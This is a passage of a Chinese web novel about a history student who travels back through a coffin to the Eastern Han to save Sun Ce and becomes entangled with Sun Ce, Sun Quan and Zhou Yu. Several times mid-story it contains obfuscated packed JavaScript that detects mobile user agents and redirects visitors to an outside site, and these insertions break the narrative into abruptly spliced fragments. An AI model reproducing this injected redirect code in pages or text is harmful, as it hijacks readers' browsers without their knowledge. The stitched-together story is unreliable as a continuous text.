邻桌兼室友霖霖偏过头来,戏谑道:“你怎么跟他没完?穿越去三国揍他揍一顿?” “今晚回去打人机1v1,专打孙权!” “游戏啊……” 下课路过教师办公室,今天也一如既往发出热烈的你一言我一语。 步一乔一听立刻拉着霖霖赶过去,果然,教授又在办公室跟别的老师辩论起来。 入学至今,步一乔不知道自己历史学综合课教授的名字。分明其他非本专业老师的名字都晓得,甚是奇妙。 “那个陵墓是有点东西,但不至于穿越都搞出来吧。”张教授笑道。 教授淡定自若反驳:“实践出真理,张教授要试试吗?” 张教授笑着摆手,端起保温杯准备离开,又加了句:“要我躺进一副将近两千年的棺材,想想都可怕。” 教授顺着张教授离开的背影,正好看到躲在办公室门口鬼鬼祟祟的步一乔。 “步一乔。” “在!” “偷听什么?” “看教授今日的战绩如何。没想到教授赢了,难得。” 教授无奈摆摆头,步一乔丢下霖霖跨步进入办公室走到教授身边。 “教授,你说的,真的可以穿越吗?” 步一乔难得罕见的对某样东西感兴趣。 考上历史系却不喜欢背年表,就脑子好使一些,教授至今不明白她是怎么考上大学又继续逼自己读研的。 “你想穿越?” “嗯!” 教授见她回答地不假思索,轻笑出声:“时间线都背不清,你去了能干嘛?” 步一乔撇嘴说:“为了揍孙权。” * 江东孙宅旧址纪念馆。 开馆时间刚到,寂静的宅院便迎来它今日的第一位客人。 教授轻车熟路地带着步一乔走向后院,走到一处被玻璃门封禁的地门前。 “这是……”步一乔低声问。 “地牢。” 说完,教授从口袋里摸出玻璃门的钥匙,径直推开门走进去。 步一乔环顾四周,生怕被工作人员发现,拉上运动服的拉链,攥紧背包肩带,飞速跟上教授进入地牢。 地牢之中,不见天日。 教授拧亮手电,照亮脚下凹凸不平的石阶与狭窄的通道。不同于常见的古代暗道石壁,这里呈现出一种特别的颜色。 步一乔凑近细看。 “深褐色?莫非是——” 教授说:“是血,关押在这儿的囚徒留下的痕迹。孙策一统江东时,抓了很多不听劝的氏族。全部关押在此,一一问斩。” 步一乔下意识后退两步,手臂泛起细密的疙瘩。 “我们……真的要从这儿走吗?” “你不是要改写历史吗?穿越回东汉,见到孙策,亲口告诉他。” 教授望着幽深晦暗的地牢入口,沉默半晌。 “如果孙策不死,或许天下不会三分,曹操不会夺取天下,孙吴或将一统华夏……” 步一乔歪歪头:“教授好像很敬重伯符?” “我这一生都敬重他,为他惋惜。”教授眉宇间凝着郑重。 步一乔不禁轻笑:“我是梦女,教授就是梦男了呢。” 教授瞥她一眼:“别拿我和你相提并论。” 穿过狭长的通道,应该是走到了尽头关押凡人的地方。稍显空旷的空间内,突兀地摆了一方棺椁。 步一乔惊呼:“棺材?!孙家这么周到,连葬具都为囚犯备好了?” 教授没有回答,只是走近以指尖轻抚椁身雕纹。岁月模糊了它们的轮廓,却掩不住其中沉淀的威仪与贵重。 椁盖早已不翼而飞,连内部的棺盖也被掀开,斜倒在一旁。棺内空空如也,并无尸骸。 “尸体不见了!?”步一乔失声惊呼。 教授屈指敲了下她的额头说:“有棺,就非得有尸么?” 他转回视线落向那片空洞的黑暗,眼神忽然有些缥缈。 “这里就是通道。躺进去,亲手合上棺盖,在黑暗中默念三遍你想去的年代。” “就这样……能穿越?” 步一乔怔怔地望向棺木,迟来的恐惧如潮水般漫上四肢。 教授察觉她微微发抖,握住她的手臂将人往后带,柔声道:“回去吧。” 他刚走出两步,却发现拉着的人没有动,僵在原地。 步一乔的眼睛仍旧盯着棺椁,看不出心思。 “我……” 良久,她轻轻启齿。 “我想试试。” “想好了?” 步一乔抿唇点头,换上背包里事先准备好的汉服,侧过脸来看他:“那教授我走了,学校见。” “步一乔。” “嗯?” 闻声,她回过头,望见逆光而站的教授。 “改写历史要背负的是千古之名,罪名还是功名,皆在你的一举一动。” 步一乔却摇头说:“不是我要出人头地,而是孙策。我会见证他一统江东,登上吴王,坐上本属于他的位置。” 教授眉头蓦地一紧,问道:“孙策建业,孙权称帝。事有因果,你怎么确定孙策不死,江东必然战胜曹魏?” 步一乔停下脚步,思忖片刻,斩钉截铁回应:“因为比起孙权,孙策才是该站上帝王之位的人。” * 六个小时后,棺椁内传来响动。 算准时间等在外的教授立刻上前,看着棺盖被从里面缓缓推开一条缝。一只沾满黑灰的手颤抖着伸出来,扒住了边缘。紧接着,一颗脑袋探了出来。 教授整个人怔在原地。 一张完全被熏黑的脸,头发凌乱,空气中随之弥漫开一股清晰可辨的、刺鼻的烟熏火燎之气。 “步一乔你……”教授叹口气没再说。 人影似乎用尽了最后一丝力气,极其艰难地从棺内爬出,身体摇晃不定。她的脚刚触及冰冷的地面,试图迈出一步,膝盖却猛地一软,整个人朝前瘫软下去。 教授一个箭步上前,手臂稳稳地揽住她下坠的身体。他低下头,怀中的步一乔双眼紧闭,脸色苍白,呼吸微弱。 她低声喃喃:“我告诉他了……他没死……我救下了他……” 教授不语,清楚历史改成何样,步一乔此番举动,终究功亏一篑。 * 孙策没能逃过一劫。想不到自己与他说的话,成了江东小霸王此生最后一番对话。 孙权匆忙继承祖业,后续故事与原版历史无二。步一乔光荣地以“贼人”身份,登上了历史教科书。 “怎么办!我再回去一趟?可孙策……” 会宰了自己吧! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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教授点头道:“孙坚的早逝是三国历史的一大变数。如果他未过早阵亡,天下的格局或许会大有不同。” “从孙坚开始改写历史……吗?” 一把钥匙被放置在步一乔眼前。是开孙氏旧址地牢玻璃门的钥匙。 “你的最终目的,是让孙策登临帝位。那么试想,若孙坚不死,由他亲手奠定这江东不世之基业,你认为,谁会是这基业名正言顺的第一继承人?” 是长子。 是孙策。 一瞬间,步一乔如醍醐灌顶,所有思绪豁然贯通! 她几乎是从椅子上弹起来,一把抓过钥匙,另一手飞快地捞起扔在旁边的背包,匆忙甩下一句“谢谢教授!”,便冲了出去。 * 换上衣服,步一乔再次躺在冰冷的棺材内。她深吸一口地牢中陈腐的空气,将沉重的棺盖缓缓拉合。 黑暗如浓墨般倾覆而下,彻底吞噬了最后一丝光线。 死寂之中,只能听到自己胸腔里越来越响、越来越急的心跳声,撞击着耳膜。 她闭上眼,集中全部意念,在心中默念那个全新的、承载着所有希望与未知风险的时间锚点—— “孙坚未死之时……是……是……” 是多久来着? “19……9?孙坚死的时候孙策十七,孙权十岁……啊啊啊!想不起来了!” 操!孙坚哪一年死的?! 一咬牙,步一乔死马当活马医,相信自己的第一直觉,做了选择。 “200年!我要见活的孙坚!” 5. 暮春 然而,公元200年,注定见不到活着的孙坚。 倒是能去他墓前的灵台看一看。 眼前日光明媚,蝴蝶翩飞,恰是春和景明。 步一乔环顾四周,那日被大火焚烧的屋舍完好无损,整座府邸安静祥和,仿佛什么都不曾发生。 时间确实回溯了,可周遭的一切,竟与那一日如此相似。 “先找个人问问吧。” 自语声未落,头顶忽然传来瓦片碰撞的清脆声响。步一乔抬头一看,顿时愣住了。 一个约莫七八岁的小姑娘,正在房顶上来回跳跃,玩得不亦乐乎。 她正要开口劝阻,意料之中的事发生了—— 小姑娘被松动的瓦片绊了一下,身子一歪,眼看就要从檐顶跌落! 在一片惊呼声中,步一乔箭步冲上前,伸手欲接。 可她这细胳膊细腿,哪里接得住一个八岁的孩子?最后反倒成了对方的人肉垫子。 好在结果不算太糟,少女安然无恙。 “哎哟喂……老娘的腰啊……不会断了吧?!” 她吃痛的抱怨吓到了怀中的少女。对方迅速从她臂弯里挣脱,怯生生躲到了一名刚刚赶来的男子身后。 男子仪容俊朗,举止彬彬有礼,当即向她拱手致谢: “多谢姑娘搭救!尚香自小顽皮,就爱上房揭瓦。今日幸好有姑娘挺身相救,才没酿成大错。” 步一乔揉着腰,摆手起身道:“没事没逝,还没死。” 等等,他刚才说什么? 步一乔诧异地看向一旁的男子,与那日孙策一模一样的男子。 “你刚才说谁?那姑娘是……” “舍妹年纪尚小,但自幼好武,弓马娴熟,不让我孙家男儿。性子嘛,也和我一样,刚烈得很!哈哈哈哈!” “妹妹?你是……孙策?刚才的小姑娘是……孙尚香?!” 步一乔有些不确定。 十七岁的孙策为何跟二十六的孙策一模一样?古人不是老得快吗? 男子拱手道:“正是。” 根据历史和《三国演义》的说法,孙策比后来的孙夫人大十八岁。如果现在孙尚香八岁,孙策就是二十六岁。 虽然这段历史并不可靠,因为彼时孙坚已经去世三年。除非孙尚香跟两兄弟,是同母异父的关系。 不过步一乔更愿意相信是野史胡诌。吴夫人与孙将军情比金坚,不太可能改嫁,更不可能与他人生育还养在孙家。 二十六……岁?! 建安五年,孙策遇刺重伤,终年二十六岁。 步一乔吓得一把抓住孙策的手,忙问:“现在是建安五年,几月?” “三月下旬……”孙策下意识地回答,目光中满是困惑与担忧,“姑娘怎么了?” “三月下旬?!” 怎么重来一次,才提早了一个月?!这穿越也太不靠谱了吧! 心底谩骂着棺材不靠谱,一面没注意到孙策看自己的表情愈发奇怪。 对上目光时,步一乔吓得以为孙策又要把自己抓起来,秋后问斩,立马后退拉开距离。 “我是好人!你不可以抓我!” 孙策怔愣一瞬,噗嗤笑出声来。 “你救了舍妹,我怎会抓你?不过我从未在府中见过姑娘,是新来的侍女?” “不是,我只是路过,见小姑娘爬上房顶,一时心急……” 她悄悄抬眸,看见孙策眼中并无怀疑,一个大胆的念头突然涌现。 “将军可以收留我吗?其实……我是个孤儿。” * “眼下,曹操正与袁绍在官渡对峙,我欲暗中偷袭许都。” 室内,孙策正与周瑜等人推演局势,阳光映得他眉宇间锋芒毕露。 周瑜微微蹙眉:“伯符,此举想法虽好,但是否过于冒险?许都虽城池坚固,但曹操主力尽在北面。若一击不中,恐遭反噬。” “公瑾多虑了。”孙策朗声一笑,“我江东儿郎,何曾惧过坚城高墙?曹操挟天子以令诸侯,若不挫其锐气,后患无穷。” 周瑜沉思片刻,点头道:“若成,此番恐能将极大削弱曹操势力,如此一来……” …… 步一乔隐在廊下阴影中,将室内对话听得真切。 脑袋里充斥着各种混乱的信息,但又似乎什么都想不到。 索性什么都别想,陪着孙策,守着孙策,多一双眼睛盯着危险,比什么都强。 议事结束,孙策心情畅快地推门而出,扬言要去山野狩猎散心。步一乔立刻从梁柱后闪出,径直拦在他面前。 “将军不可以出门!” 孙策脚步一顿,挑眉看来,身后周瑜等人也停下脚步,投来疑惑的目光。 “这位姑娘是?”周瑜询问。 “借住家中的步姑娘。” 说罢,孙策挥手示意众人离去,廊下只余两人。 “姑娘有何要事?” “至少别单独出门,会很危险的。” 孙策轻笑一声道:“我乃江东小霸王,何人能与我构成危险?” 果然于他而言,世间任何都构不成威胁。 步一乔只得拿出诚恳的态度,软言劝说:“诸事难料,还请将军听我一句劝。拜托了……” 不得不说,步一乔倒是挺适合做演员,情绪价值直接拉满。软糯糯的台词把孙策勾得,一时半会儿回不过神来。 他目光微动,忽然侧过脸去,声音不自觉地放轻道:“那姑娘……可愿与我一道?” “啊?” 孙策转回视线,目光落进她因惊讶而睁大的眼睛里,唇角扬起一抹不易察觉的笑意。 “既然危险,那你在我身侧同行盯着,岂不周全?” “可将军不是素来独行惯了吗?” 她刚脱口而出,就生怕他反悔,连忙改口。 “我去!我和将军一道!” * 知道步一乔不会骑马,孙策命人备了马车。 车辆行至城外山野乡村,沿途百姓认出,纷纷涌上前来想要一睹将军风采。 车窗纱帘被风吹起一角,步一乔看见人群中三个神色异常的男子,不由握紧了孙策的手。 “不必担心,都是前来问候的百姓,不会有事的。” 马车行至山脚,二人沿着石阶缓步而上。途经一座石砌山神龛时,孙策蹲下身,将随身带来的酒缓缓倒入石盘。 “将军不是不信鬼神吗?” 孙策动作微顿:“姑娘怎知?” “呃……听您家中侍从说的。” 孙策看着神龛里的清酒,彼时,头顶飘落一片白色的花瓣落入其中。 “家父身亡于砚山。所以每次进山,我都会给山神带些酒来,以此祭奠父亲。” “孙坚将军……是个伟大的人。若非轻敌,结局不该如此。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16467240|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >步一乔看向孙策。 察觉到目光,孙策也抬眸与之四目相对。 “将军也是,万不可轻敌冒进。危险无处不在,比如现在……” 她骤然逼近,纤细的手指扼住孙策的喉咙,眉宇间却无杀气。 “你不知我姓名,不知我来历,却留我于府上,还与我独自出门。就不怕我居心不轨,要了你的命吗?” 目光相接的刹那,孙策心头莫名一颤。那双眼眸清澈的金人里面盛着的不是谄媚或杀意,而是一种……仿佛隔世重逢般的急切与忧虑。 这个姑娘……他是否曾经见过的? 孙策眸光微动,竟轻笑出声,宽厚的掌心覆上步一乔的手背,温度透过肌肤传来。 “你冒死救下舍妹,好言相劝,我为何要疑你?” 似是安慰,他轻轻拍了拍她的手。 “不过你说得对,我记住了。日后定当小心,不会莽撞行事。” 温热的触感让步一乔眼眶发酸。她慌忙转身,悄悄拭去眼角湿润。 孙策绕到她面前,指尖轻柔地抚过她的额发:“哭什么?” “感动……” 步一乔勉强扬起笑容,忽然张开双臂。 “想确认将军不是我的梦,想要个抱抱。” 孙策微微一怔,耳根泛起不易察觉的红晕,却还是张开双臂将她轻轻拥入怀中。 “好。” * 山腰平野,繁花如海。两人并肩坐在一方巨石上,微风拂过,扬起她几缕发丝。 “所以,姑娘所说的危险是什么?”孙策开口,目光仍望着远处起伏的山峦。 步一乔低声应道:“是许贡的门客。将军虽杀了许贡,但他的小儿子与门客逃亡,且藏匿于长江边。须得提防他们暗中发难,伺机报复。” 一声轻笑。 “姑娘与公瑾还颇有几分相似。不瞒姑娘,前几日,公瑾恰好与我说过同样的话。” 孙策转头看她,目光深邃。 “自与姑娘相识我便好奇,姑娘为何知晓那么多?” “呃……我说是天上掉下来的,你信吗?” “我从不信鬼神。” 步一乔小声嘀咕:“是吧,江东小霸王不信邪的,我根本想不出理由怎么糊弄过去……” 既然鬼神预言之说无法取信于他,那除了守在他身边,似乎也别无他法。替他警惕暗处的敌人,替他打理琐碎的日常。哪怕端茶送水,照料起居,她也心甘情愿! 思及于此,步一乔拍拍孙策的肩膀,又拍拍自己平坦的胸膛。 “将军放心吧!我会一直陪着你的!” 孙策茫然地看着眼前的姑娘,愈发盯得厉害。 步一乔诧异地歪了歪头,微微睁大眼睛,发出疑惑的声音。 “你……我还不知姑娘姓名?” “我叫步一乔!” “一乔?怎么写的?” “一二三四的一。” “竟然取了跟城北村口的桥一模一样的名字。” “可、可是字不同啊!” “不行,日后若是禀报军情,混淆了怎么办?” 孙策沉吟片刻,灵机一动。 “既是一乔,想你定是家中长女。不如往后,我便叫你大乔吧。” 步一乔傻愣了半晌,才缓缓发出一声疑惑:“欸?” 如果自己成了大乔,那往后真的大乔出现该怎么办?! 6. 聘书 偶有恋爱脑失智的步一乔看着眼前的江东霸主,脑袋空空。 孙策见步一乔呆愣的模样,忍不住伸手轻刮她的鼻尖。单纯出于对萌物的逗弄,别无二想。 “怎么?不喜欢这个名字?” 步一乔自然晓得孙策对自己怎么想的。望着他含笑的眼眸,心中百转千回,最终化作一声高兴的轻叹。 “喜欢……只要是将军取的,我都喜欢!” 大乔就大乔吧。等真的大乔出现再把名字还给人家就是。 孙策身子朝后,双手撑在身侧,望着远处翻涌的云海,突然发出一声轻叹。 “不知为何,初见你那日,竟莫名有种,与你曾出生入死的震撼。” 步一乔一下僵住,倏地偏过头去观察孙策的神情。 没有隐情的脸,只有对恍惚情感的感慨。 是啊,人怎么会记得未来才会发生的事情呢?太荒唐。 * 史书明载,大小二乔分别嫁与孙策、周瑜后,不过半年,孙策便突遭不测,溘然长逝。 屈指算来,时间恰好吻合。 望着满庭含苞待放的春花,步一乔呆坐在石阶上,总觉得哪里不对劲。但想不起来。 一般想不起,步一乔会自动将问题归在时间上。一定又是自己记错了时间。 女人在历史上的位置不足轻重。即便留有姓名家世,与之相关的详述却也寥寥数语。 孙策离去之后,大乔究竟去了何处?那数月相守的时光,她是如何度过的?为何没留下子嗣?无人知晓,亦无人记下。 但无论如何,步一乔此行的目的唯有一个:护孙策周全。 头脑风暴时,步一乔行至孙策门前,抬手犹豫片刻,终是响了门扉。 “孙策将军!您在屋里吗?” “大乔?” 心情不错的声音从内传来,随后门被拉开,穿着一身宽松常服的孙策出现在她眼前,褪去了几分平日的锐气,眉眼显得温和许多。 两人相视一笑,说不尽的温柔缱绻。却也相敬如宾,不忘行礼。 “你也不必次次唤我全名和将军,叫我伯符吧。” “可是,我喜欢叫你孙策。” “那便依你。” “好!伯符。” “不是喜欢孙策吗?”他倚在门边笑问,眼中笑意更甚。 “嗯!喜欢!特别喜欢!做梦都喜欢。”步一乔重重地点头,一本正经,字字清晰。 孙策先是一怔,随即嘴角再也压不住上扬的弧度,笑出声来:“你说的是名字,还是人啊?” “都喜欢。” 她答得毫不犹豫,目光清亮地望着他。 但随即深吸一口气,神色重新变得郑重:“我今日来,是与将军有重要的事情要说。” 孙策轻轻嗯了一声,示意她继续说下去。 “关于北上突袭许都,迎奉汉献帝之事,将军筹备得如何?” 孙策眼中掠过一丝讶异,却仍答:“诸事已备。” “后果呢?成与败,将军有想过结果吗?” “成,曹操败。败,不存在。” “将军为何总是如此自信……” 步一乔扶额轻声叹道。 “居安思危,将军忘了那日答应我的话了吗?” “我没忘。既是有十足的把握,才敢如此断言。” “不行!现在想!给你一刻钟的时间。” 她执拗地望定他,气鼓鼓的样子,可爱极了。 孙策凝视她片刻,终是妥协地一笑:“好。不过……” 他抬手,带着薄茧的指腹已轻轻点上她的眉心。那是一种属于武将的、收束了力道却依旧清晰的粗粝触感,耐心地揉开她紧蹙的眉头。 “我会认真思量,再慢慢说与你听。若此刻仓促应答,只怕转眼即忘,又如何能刻骨铭心?” 步一乔微微一怔,随即点头。是她心急了。 “明日我与公瑾等人打算出门狩猎。” “嗯!预祝将军满载而归。” 孙策喜狩猎,步一乔深知这一点,有周瑜伴身,便不去幻想孙策会带上自己此等不切实际的想法。 “你想与我一道吗?” “啊?”她一时没反应过来。 “若是有事,便下次再一道。突然邀请,却是仓促了些。何况一堆汉子,你一姑娘家会不自在吧?” 步一乔浑然不觉、喜出望外,激动得语无伦次。 “去去去去!我去我去!” 喜悦冲散迟疑,她望着他含笑的眼睛,无脑的感慨脱口而出:“这要是放在两千年后,我们俩都该结婚了。” 轻柔的话语如羽絮般落在他耳边,让孙策的心口无端一紧。 他不确定自己是否听懂了,抑或会错了意,只得移开目光,故作寻常地低声问:“……什么?” 步一乔霎时脸红,慌忙摆手摇头道:“没什么!我自言自语呢。” 从见着这姑娘起,孙策便对她的行为举止颇为好奇。不如闺阁女子般拘礼,但也不同山野姑娘那般撒野。常常做些令人无法理解,但又忍不住模仿的动作。 孙策不再追问,只朗然一笑,学着她摆手的样子举起手掌。步一乔想都未想,抬手便“啪”地一声与他击掌为约。 尽管不解这突兀的动作有何深意,但见她笑得那般明亮,孙策便也不深究,与她一同笑开在融融春色里。 “还没问过大乔是何方之人?今年几何?” 步一乔笑着打趣道:“将军是打算三书六礼,娶我过门吗?” “……可以吗?” 荼蘼花香伴风而来,愈发浓稠,缠绕在呼吸之间,让她有一瞬的恍惚。 他的询问格外轻柔,和以往不同,带着几分羞涩以及恳切。 “将军莫不是说笑?” 步一乔试图让语气轻松些,可孙策的目光却未曾移开,那双总是盛着朗朗骄阳的眼眸,此刻沉静下来,竟如深潭般映着她的无措。 他……是认真的。 步一乔慌了神,身体燥热,口干舌燥接连吞咽。 春风拂过,扬起她鬓边碎发,也吹动他玄色衣袍的袖口,吹不散人间四月的燥热。 步一乔深呼吸抬起眼,迎上他的目光,唇边重新漾开一点笑意,却比先前郑重了许多。 “若将军是认真的,那便不该先问籍贯年岁。” “哦?”孙策眉梢微动,“那该先问什么?” “该先问……问我是否心悦于你,是否甘愿嫁给你。” 这一次,轮到孙策微微一怔。随即,他朗声大笑起来。 “好!”他目光灼灼,如同最炽烈的阳光,“那我现在便问!大乔,你——” 他话未说完,远处一骑快马疾驰而来,马上兵士高呼着“主公”打断了他的话。 孙策眉头一皱,如常锐利的神色又回到了他脸上。 步一乔看着他的侧影,心下悄然一松,却又隐有一丝难以言说的怅然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“若是我也变成兄长那般性子,你会心悦于我吗?” “啊?” 步一乔彻底愣住。这话听着……怎么像某种含蓄的告白? 她按下心头的诧异,决定暂且装作不知,顺着他的话答道:“不会。” “为何?”孙权望着远处一树繁花,语气平静,眼底却藏不住怒意。 步一乔纳闷。 这孩子今日怎么了?刨根问底地,莫非方才一眼,就喜欢上自己了??自己的人格魅力什么时候上升到这般境界了? “不为何。你是孙权,他是孙策,截然不同的两个人,怎能混为一谈?” 想象孙权学着孙策那般豪迈不羁的模样,步一乔不禁在心底摇头。一个是血气方刚的魁梧武将,一个是沉谋重断的稳重之主,根本无从比较。 孙权仍不肯罢休,继续追问:“可你不是说,心悦兄长的性子吗?” “照你这么说,莫非世上所有勇猛的武将,我都该喜欢不成?” 孙权一时语塞,沉默良久。春风拂过,掀起他额前几缕碎发。他忽然转回头,目光直直撞进步一乔眼中,低声道: “那,你会亲吻兄长么?” “啊?” “回答我。” “……不会。” 孙权眉角跳了一下,似是想起些不太好的回忆,低声嘟囔:“强吻人,逼人做男欢女爱之事,还装作忘记……分明风流成性,过分……” “强吻人?我什么时候——” 步一乔倏然睁大眼睛,猫尾草自唇边落下,不可思议地看向身旁,按照正常时间线,该是初次见面的少年。 “现在的时间点是上一次之前……你怎么会记得?而且……我什么时候跟你那啥了??” 7. 荒唐 空气中蓦地弥漫开一种微妙的寂静。孙权的目光骤然变得锐利。 “‘时间之前’?姑娘此话是何意?” “这话该我问你啊!” 步一乔慌乱地抓住孙权的手臂,那双沉静的眼眸中映照出自己不知所措的神情。 “那你说,我何时吻的你?何时与你……沉云覆雨?” 孙权看着她模仿得难辨真假的茫然模样,一时气结,无语地拨开她的手。 “想不到你是如此轻浮之人。” 他偏过头去,耳根和眼角泛起不易察觉的红晕。 “那日明明是你……” 孙权话说到一半却戛然而止,仿佛意识到失言般猛地抿紧了唇。步一乔敏锐地捕捉到他这一闪而过的慌乱,心中的疑云越发浓重。 “难道说,你记得之前——” “仲谋!” 远处突然传来清朗的呼声,循声望去,一位白衣男子昂首挺胸迈步而来。衣袂随风轻扬,端的是风华无双。 是周瑜。 孙权瞬间收敛了所有情绪,又恢复了往日那般沉稳模样,起身拱手行礼。 周瑜步履从容而至,目光掠过孙权身侧的步一乔时微微一顿,观其面相,隐约察觉到什么。 “府外有位吕姓之人寻你,快去罢。” 孙权侧首瞥了眼垂眸不语的步一乔,略一颔首便转身离去。步一乔正欲悄然后退,却被周瑜展臂拦下。 “周公子找我有事?” 周瑜昂首望天,明媚晴朗,万里无云。 “今日闲来无事,想来从未与姑娘闲话摆谈,敢问姑娘此刻得空否?” 春风掠过庭前新柳,周瑜的姿态看似闲适,那双明澈的眼眸却仿佛能洞穿人心,让步一乔无端生出几分被看透的忐忑。 不过,连躺死人棺材都不怕的步一乔,敢说这世上暂且找不出她真正畏惧之事。 她唇角微扬,迎上周瑜的目光。 “乐意之至。周公子是想与我把酒言欢,还是斟茶手谈?” 周瑜一愣,颇为有趣似的看了她一眼,笑得张扬。 “步姑娘果真好大的能耐,难怪能叫伯符与仲谋二人,都被你迷得神魂颠倒。” 步一乔眯眼笑道:“周公子怕是误会了什么。我与孙权并无男女之情。且我一心只心悦于伯符,绝无二心。” “是吗?若真是如此,倒是我唐突了。错把某人的一厢情愿,当成了两情相悦。” 周瑜举止优雅地拱手致歉。 “给姑娘赔不是。” 说罢,他直起了身,看着廊外蝴蝶蹁跹于其间的花丛。 “伯符与我情同手足,生死与共。战场上他为王,众将自然听他号令。可出了战场,他也不过是个时常犯糊涂的寻常男子。” 周瑜忽然蹙紧眉头,端详步一乔片刻,神色渐凝。 “我观察步姑娘半月,尚未察觉不妥。然,我并非厌你。但伯符是江东之本,任何不明底细的变数,我都必须排除。你的出现太过蹊跷,对伯符与仲谋的影响都太大。若你真心为江东,为伯符,便请坦诚相待。若你怀有异心……即便伯符怪罪于我,我周瑜,也愿担此罪名,以除后患。” 春风倏然静止,气氛焦灼。 步一乔并未退缩,反而迎着他审视的目光向前半步。唇角略带戏谑的笑意悄然隐去,眼底是一片前所未有的澄澈与郑重。 “世人皆道周郎慧眼如炬,算无遗策。公子既观察我半月都未看出不妥,却仍出言警示,而非直接动手……莫非,并非真心疑我,而是另有用意?” 她再次逼近,气势不输。 “我的存在,会误了您的事儿?” 周瑜闻言,神色微不可察地一滞。他侧过脸,避开她过于锐利的注视,唇角扯出一抹惯常的嘲弄:“若你都能耽误得起的事,我周瑜还不屑去做。” 步一乔没忍住轻笑出声,收起锋利,温柔相待。 “我知道周公子是替伯符考虑,放心吧,我也是。我的目的只有一个,保全伯符,见证他登上吴王之位。” “吴王?莫非步姑娘你,果真是——” 就在这时,一阵急促的脚步声由远及近,打断周瑜的话。 “公瑾!原来你在此处!” 孙策洪亮的声音打破了微妙的对峙。他大步走来,额上带着薄汗,神情飞扬洒脱,目光掠过周瑜,立刻黏在步一乔身上,笑容愈发灿烂。 “大乔也在?正好!我刚得了一匹凉州宝马,烈性得很,走,一同去瞧瞧!” 他自然而然地站到步一乔身侧,牵住她的手,高大的身形在无形中形成一种回护的姿态。 周瑜瞬间收敛了所有外露的情绪,唇角噙起温雅如常的笑意,仿佛方才暗藏机锋、甚至隐含杀意的对话从未发生。 “既是伯符所得良驹,自当一观。” 步一乔也顺势颔首,却在孙策转身引路的刹那,飞快地瞥了周瑜一眼。 周瑜正垂眸整理着袖口,感受到她的视线,抬眸,回以一抹极淡、却意味深长的目光。 * 走出府门,静候在外的孙权闻声回望来,第一眼便落在两个大男人身后娇小的身影。他眼中闪过一丝不易察觉的不悦,随即又归于沉静。 步一乔接连被三道风格迥异的视线笼罩,顿感无所适从,巴不得找个上厕所的借口离开。 不得不说,周瑜就是聪明。立马察觉步一乔的心思,主动开口道:“步姑娘今日想必也无要事,不如与我们同去城外军营一观,如何?” “啊?不合适吧……”步一乔下意识地婉拒。 心想:这去的是军营吗?分明是地狱啊!连续跟两个大男人对峙已经够累了,能不能放她回去睡觉,养精蓄锐啊! 身旁的孙策极其自然地伸出手,温暖宽厚的手掌一把牵住她的,道:“无妨。今日无战事,恰好城外野花遍地,我领你去看看。” 步一乔感受到他掌心传来的温度,再抬头对上他那双映着日光的明亮眼眸,拒绝的话便再也说不出口,只得轻轻点头:“……好。” * 车内,侍从继续煮茶热酒,一切如常。 孙策与周瑜相对而坐,谈论着军务琐事,偶尔与孙权交谈几句。步一乔坐在孙策身侧,尽量降低自己的存在感。 孙权坐在她斜对面,大多时间沉默着,目光时而落在交谈的兄长与周瑜身上,时而状似无意地扫过她些许新奇的侧脸,又很快移开。 狭小的空间内,四种心思,暗流般无声涌动。 * 马车停靠在军营帐外,来人禀报说有贵客相见。步一乔当即抓住机会,找了借口说去野花谷内休息,待会儿去那儿寻她便好。 孙策不太放心,说什么也得找人跟着。 “这里是将军的地盘,怎会有人敢造次?我只是偷个懒,找个清静地方打个盹儿,绝不会走远。” 孙策垂眸看着她,沉默片刻,终是妥协。他旁若无人地牵起步一乔的手,在周围一众将领兵士的目光注视下,将她微凉的手指紧紧攥入自己温热的掌心。 “等我,速速就来。” “好。” 山花烂漫,柔软的铺就一地,步一乔舒展四肢躺在花丛中,望着天边流云舒卷,心神渐宁。 不多时,听见脚踩过的窸窣声,步一乔废力仰头,只看到一双脚。不过是与孙策相同的款式,立马放下心来,闭上双眼。 “这里躺着好舒服,伯符也来试试?” 身侧的花草被压弯,来人依言躺下身,与她隔着一肩的距离,安静地感受落日下的清风拂面。 “人生苦短,能得几回惬意?是吧伯符?” 身旁无人回应。 步一乔以为是人没听清又唤了一遍“伯符”。 “我不是兄长。” 冰冷的声音吓得步一乔周身一僵,猛地睁眼转过头。 孙权静静躺在身旁,眸光幽深地望向天。晚霞为他惯常沉静的侧脸镀上了一层暖色,竟有几分阳春白雪的清恬…… 等等!这可是孙权!不是孙策!清醒一点! 步一乔下意识地想要起身离开,却被孙权拉住手腕制止。 “这般好的景致,急着走什么?” 他随手折下一根草叼在嘴边把玩,姿态是从未有过的闲适洒脱。双手压在脑后,翘着腿,随着哼唱的小曲晃动。 “人生苦短……是啊,这般好光景,合该好好享受!” 这话语,这神情,都让步一乔感到一种奇异的熟悉感。 孙权见她愣神,嘴角笑意更深,忽然凑近几分,在鼻尖即将触及时停下。步一乔下意识后仰躲闪,又被孙权抓住手臂止住。 如此近距离,步一乔甚至能嗅到孙权口中丁香水的气息,以及沐浴时留下的淡淡药草味儿。 好像……挺好闻? 步一乔脑袋忽地炸开。她怎么能有这种大逆不道想法!快停下! 孙权瞧她脸红得厉害,笑着曲起手指,轻轻刮了下她泛红的鼻头。 “怎么?被我迷住了?” 步一乔下意识偏开头,“你怎么变得……怪怪的?” “你不是喜欢这样吗?” “啊?我什么时候说——” 